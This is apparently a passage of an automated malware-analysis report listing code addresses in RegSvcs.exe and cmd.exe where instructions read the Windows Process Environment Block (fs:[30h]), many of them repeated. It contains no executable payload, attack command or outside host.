Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01038A62 mov eax, dword ptr fs:[00000030h]	6_2_01038A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F71B8F mov eax, dword ptr fs:[00000030h]	6_2_00F71B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F71B8F mov eax, dword ptr fs:[00000030h]	6_2_00F71B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F93B7A mov eax, dword ptr fs:[00000030h]	6_2_00F93B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F93B7A mov eax, dword ptr fs:[00000030h]	6_2_00F93B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6DB60 mov ecx, dword ptr fs:[00000030h]	6_2_00F6DB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6F358 mov eax, dword ptr fs:[00000030h]	6_2_00F6F358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6DB40 mov eax, dword ptr fs:[00000030h]	6_2_00F6DB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01038D34 mov eax, dword ptr fs:[00000030h]	6_2_01038D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F8746D mov eax, dword ptr fs:[00000030h]	6_2_00F8746D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFC450 mov eax, dword ptr fs:[00000030h]	6_2_00FFC450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFC450 mov eax, dword ptr fs:[00000030h]	6_2_00FFC450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9BC2C mov eax, dword ptr fs:[00000030h]	6_2_00F9BC2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01018DF1 mov eax, dword ptr fs:[00000030h]	6_2_01018DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE6C0A mov eax, dword ptr fs:[00000030h]	6_2_00FE6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE6C0A mov eax, dword ptr fs:[00000030h]	6_2_00FE6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE6C0A mov eax, dword ptr fs:[00000030h]	6_2_00FE6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE6C0A mov eax, dword ptr fs:[00000030h]	6_2_00FE6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021C06 mov eax, dword ptr fs:[00000030h]	6_2_01021C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0103740D mov eax, dword ptr fs:[00000030h]	6_2_0103740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0103740D mov eax, dword ptr fs:[00000030h]	6_2_0103740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0103740D mov eax, dword ptr fs:[00000030h]	6_2_0103740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F935A1 mov eax, dword ptr fs:[00000030h]	6_2_00F935A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9FD9B mov eax, dword ptr fs:[00000030h]	6_2_00F9FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9FD9B mov eax, dword ptr fs:[00000030h]	6_2_00F9FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F62D8A mov eax, dword ptr fs:[00000030h]	6_2_00F62D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F62D8A mov eax, dword ptr fs:[00000030h]	6_2_00F62D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F62D8A mov eax, dword ptr fs:[00000030h]	6_2_00F62D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F62D8A mov eax, dword ptr fs:[00000030h]	6_2_00F62D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F62D8A mov eax, dword ptr fs:[00000030h]	6_2_00F62D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F8C577 mov eax, dword ptr fs:[00000030h]	6_2_00F8C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F8C577 mov eax, dword ptr fs:[00000030h]	6_2_00F8C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F87D50 mov eax, dword ptr fs:[00000030h]	6_2_00F87D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA3D43 mov eax, dword ptr fs:[00000030h]	6_2_00FA3D43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE3540 mov eax, dword ptr fs:[00000030h]	6_2_00FE3540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F94D3B mov eax, dword ptr fs:[00000030h]	6_2_00F94D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F94D3B mov eax, dword ptr fs:[00000030h]	6_2_00F94D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F94D3B mov eax, dword ptr fs:[00000030h]	6_2_00F94D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F73D34 mov eax, dword ptr fs:[00000030h]	6_2_00F73D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6AD30 mov eax, dword ptr fs:[00000030h]	6_2_00F6AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01038CD6 mov eax, dword ptr fs:[00000030h]	6_2_01038CD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_010214FB mov eax, dword ptr fs:[00000030h]	6_2_010214FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0103070D mov eax, dword ptr fs:[00000030h]	6_2_0103070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0103070D mov eax, dword ptr fs:[00000030h]	6_2_0103070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F776E2 mov eax, dword ptr fs:[00000030h]	6_2_00F776E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F916E0 mov ecx, dword ptr fs:[00000030h]	6_2_00F916E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F936CC mov eax, dword ptr fs:[00000030h]	6_2_00F936CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE46A7 mov eax, dword ptr fs:[00000030h]	6_2_00FE46A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01038F6A mov eax, dword ptr fs:[00000030h]	6_2_01038F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFFE87 mov eax, dword ptr fs:[00000030h]	6_2_00FFFE87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7766D mov eax, dword ptr fs:[00000030h]	6_2_00F7766D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6E620 mov eax, dword ptr fs:[00000030h]	6_2_00F6E620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6C600 mov eax, dword ptr fs:[00000030h]	6_2_00F6C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6C600 mov eax, dword ptr fs:[00000030h]	6_2_00F6C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6C600 mov eax, dword ptr fs:[00000030h]	6_2_00F6C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0101FE3F mov eax, dword ptr fs:[00000030h]	6_2_0101FE3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7FF60 mov eax, dword ptr fs:[00000030h]	6_2_00F7FF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01030EA5 mov eax, dword ptr fs:[00000030h]	6_2_01030EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01030EA5 mov eax, dword ptr fs:[00000030h]	6_2_01030EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01030EA5 mov eax, dword ptr fs:[00000030h]	6_2_01030EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7EF40 mov eax, dword ptr fs:[00000030h]	6_2_00F7EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0101FEC0 mov eax, dword ptr fs:[00000030h]	6_2_0101FEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9E730 mov eax, dword ptr fs:[00000030h]	6_2_00F9E730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01038ED6 mov eax, dword ptr fs:[00000030h]	6_2_01038ED6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F64F2E mov eax, dword ptr fs:[00000030h]	6_2_00F64F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F64F2E mov eax, dword ptr fs:[00000030h]	6_2_00F64F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFFF10 mov eax, dword ptr fs:[00000030h]	6_2_00FFFF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFFF10 mov eax, dword ptr fs:[00000030h]	6_2_00FFFF10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0089B5E0 mov eax, dword ptr fs:[00000030h]	23_2_0089B5E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AF358 mov eax, dword ptr fs:[00000030h]	23_2_035AF358
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03678F6A mov eax, dword ptr fs:[00000030h]	23_2_03678F6A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035ADB40 mov eax, dword ptr fs:[00000030h]	23_2_035ADB40
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BEF40 mov eax, dword ptr fs:[00000030h]	23_2_035BEF40
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D3B7A mov eax, dword ptr fs:[00000030h]	23_2_035D3B7A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D3B7A mov eax, dword ptr fs:[00000030h]	23_2_035D3B7A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035ADB60 mov ecx, dword ptr fs:[00000030h]	23_2_035ADB60
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BFF60 mov eax, dword ptr fs:[00000030h]	23_2_035BFF60
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03678B58 mov eax, dword ptr fs:[00000030h]	23_2_03678B58
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DA70E mov eax, dword ptr fs:[00000030h]	23_2_035DA70E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DA70E mov eax, dword ptr fs:[00000030h]	23_2_035DA70E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0367070D mov eax, dword ptr fs:[00000030h]	23_2_0367070D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0367070D mov eax, dword ptr fs:[00000030h]	23_2_0367070D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DE730 mov eax, dword ptr fs:[00000030h]	23_2_035DE730
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363FF10 mov eax, dword ptr fs:[00000030h]	23_2_0363FF10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363FF10 mov eax, dword ptr fs:[00000030h]	23_2_0363FF10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A4F2E mov eax, dword ptr fs:[00000030h]	23_2_035A4F2E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A4F2E mov eax, dword ptr fs:[00000030h]	23_2_035A4F2E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0366131B mov eax, dword ptr fs:[00000030h]	23_2_0366131B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E37F5 mov eax, dword ptr fs:[00000030h]	23_2_035E37F5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03675BA5 mov eax, dword ptr fs:[00000030h]	23_2_03675BA5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DB390 mov eax, dword ptr fs:[00000030h]	23_2_035DB390
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B1B8F mov eax, dword ptr fs:[00000030h]	23_2_035B1B8F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B1B8F mov eax, dword ptr fs:[00000030h]	23_2_035B1B8F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0365D380 mov ecx, dword ptr fs:[00000030h]	23_2_0365D380
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0366138A mov eax, dword ptr fs:[00000030h]	23_2_0366138A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03627794 mov eax, dword ptr fs:[00000030h]	23_2_03627794
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03627794 mov eax, dword ptr fs:[00000030h]	23_2_03627794
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03627794 mov eax, dword ptr fs:[00000030h]	23_2_03627794
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0365B260 mov eax, dword ptr fs:[00000030h]	23_2_0365B260
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0365B260 mov eax, dword ptr fs:[00000030h]	23_2_0365B260
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03678A62 mov eax, dword ptr fs:[00000030h]	23_2_03678A62
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9240 mov eax, dword ptr fs:[00000030h]	23_2_035A9240
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9240 mov eax, dword ptr fs:[00000030h]	23_2_035A9240
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9240 mov eax, dword ptr fs:[00000030h]	23_2_035A9240
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9240 mov eax, dword ptr fs:[00000030h]	23_2_035A9240
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B7E41 mov eax, dword ptr fs:[00000030h]	23_2_035B7E41
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B7E41 mov eax, dword ptr fs:[00000030h]	23_2_035B7E41
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B7E41 mov eax, dword ptr fs:[00000030h]	23_2_035B7E41
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B7E41 mov eax, dword ptr fs:[00000030h]	23_2_035B7E41
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B7E41 mov eax, dword ptr fs:[00000030h]	23_2_035B7E41
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B7E41 mov eax, dword ptr fs:[00000030h]	23_2_035B7E41
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E927A mov eax, dword ptr fs:[00000030h]	23_2_035E927A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CAE73 mov eax, dword ptr fs:[00000030h]	23_2_035CAE73
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CAE73 mov eax, dword ptr fs:[00000030h]	23_2_035CAE73
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CAE73 mov eax, dword ptr fs:[00000030h]	23_2_035CAE73
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CAE73 mov eax, dword ptr fs:[00000030h]	23_2_035CAE73
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CAE73 mov eax, dword ptr fs:[00000030h]	23_2_035CAE73
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03634257 mov eax, dword ptr fs:[00000030h]	23_2_03634257
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B766D mov eax, dword ptr fs:[00000030h]	23_2_035B766D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C3A1C mov eax, dword ptr fs:[00000030h]	23_2_035C3A1C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DA61C mov eax, dword ptr fs:[00000030h]	23_2_035DA61C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DA61C mov eax, dword ptr fs:[00000030h]	23_2_035DA61C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0365FE3F mov eax, dword ptr fs:[00000030h]	23_2_0365FE3F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AC600 mov eax, dword ptr fs:[00000030h]	23_2_035AC600
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AC600 mov eax, dword ptr fs:[00000030h]	23_2_035AC600
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AC600 mov eax, dword ptr fs:[00000030h]	23_2_035AC600
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AE620 mov eax, dword ptr fs:[00000030h]	23_2_035AE620
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D36CC mov eax, dword ptr fs:[00000030h]	23_2_035D36CC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E8EC7 mov eax, dword ptr fs:[00000030h]	23_2_035E8EC7
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0365FEC0 mov eax, dword ptr fs:[00000030h]	23_2_0365FEC0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03678ED6 mov eax, dword ptr fs:[00000030h]	23_2_03678ED6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B76E2 mov eax, dword ptr fs:[00000030h]	23_2_035B76E2
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D16E0 mov ecx, dword ptr fs:[00000030h]	23_2_035D16E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03670EA5 mov eax, dword ptr fs:[00000030h]	23_2_03670EA5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03670EA5 mov eax, dword ptr fs:[00000030h]	23_2_03670EA5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03670EA5 mov eax, dword ptr fs:[00000030h]	23_2_03670EA5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_036246A7 mov eax, dword ptr fs:[00000030h]	23_2_036246A7
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DD294 mov eax, dword ptr fs:[00000030h]	23_2_035DD294
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DD294 mov eax, dword ptr fs:[00000030h]	23_2_035DD294
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363FE87 mov eax, dword ptr fs:[00000030h]	23_2_0363FE87
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BAAB0 mov eax, dword ptr fs:[00000030h]	23_2_035BAAB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BAAB0 mov eax, dword ptr fs:[00000030h]	23_2_035BAAB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DFAB0 mov eax, dword ptr fs:[00000030h]	23_2_035DFAB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A52A5 mov eax, dword ptr fs:[00000030h]	23_2_035A52A5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A52A5 mov eax, dword ptr fs:[00000030h]	23_2_035A52A5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A52A5 mov eax, dword ptr fs:[00000030h]	23_2_035A52A5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A52A5 mov eax, dword ptr fs:[00000030h]	23_2_035A52A5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A52A5 mov eax, dword ptr fs:[00000030h]	23_2_035A52A5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C7D50 mov eax, dword ptr fs:[00000030h]	23_2_035C7D50
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CB944 mov eax, dword ptr fs:[00000030h]	23_2_035CB944
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CB944 mov eax, dword ptr fs:[00000030h]	23_2_035CB944
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E3D43 mov eax, dword ptr fs:[00000030h]	23_2_035E3D43
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03623540 mov eax, dword ptr fs:[00000030h]	23_2_03623540
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AB171 mov eax, dword ptr fs:[00000030h]	23_2_035AB171
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AB171 mov eax, dword ptr fs:[00000030h]	23_2_035AB171
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CC577 mov eax, dword ptr fs:[00000030h]	23_2_035CC577
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CC577 mov eax, dword ptr fs:[00000030h]	23_2_035CC577
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AC962 mov eax, dword ptr fs:[00000030h]	23_2_035AC962
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03678D34 mov eax, dword ptr fs:[00000030h]	23_2_03678D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0362A537 mov eax, dword ptr fs:[00000030h]	23_2_0362A537
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9100 mov eax, dword ptr fs:[00000030h]	23_2_035A9100
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9100 mov eax, dword ptr fs:[00000030h]	23_2_035A9100
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9100 mov eax, dword ptr fs:[00000030h]	23_2_035A9100
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D4D3B mov eax, dword ptr fs:[00000030h]	23_2_035D4D3B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D4D3B mov eax, dword ptr fs:[00000030h]	23_2_035D4D3B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D4D3B mov eax, dword ptr fs:[00000030h]	23_2_035D4D3B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D513A mov eax, dword ptr fs:[00000030h]	23_2_035D513A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D513A mov eax, dword ptr fs:[00000030h]	23_2_035D513A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AAD30 mov eax, dword ptr fs:[00000030h]	23_2_035AAD30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
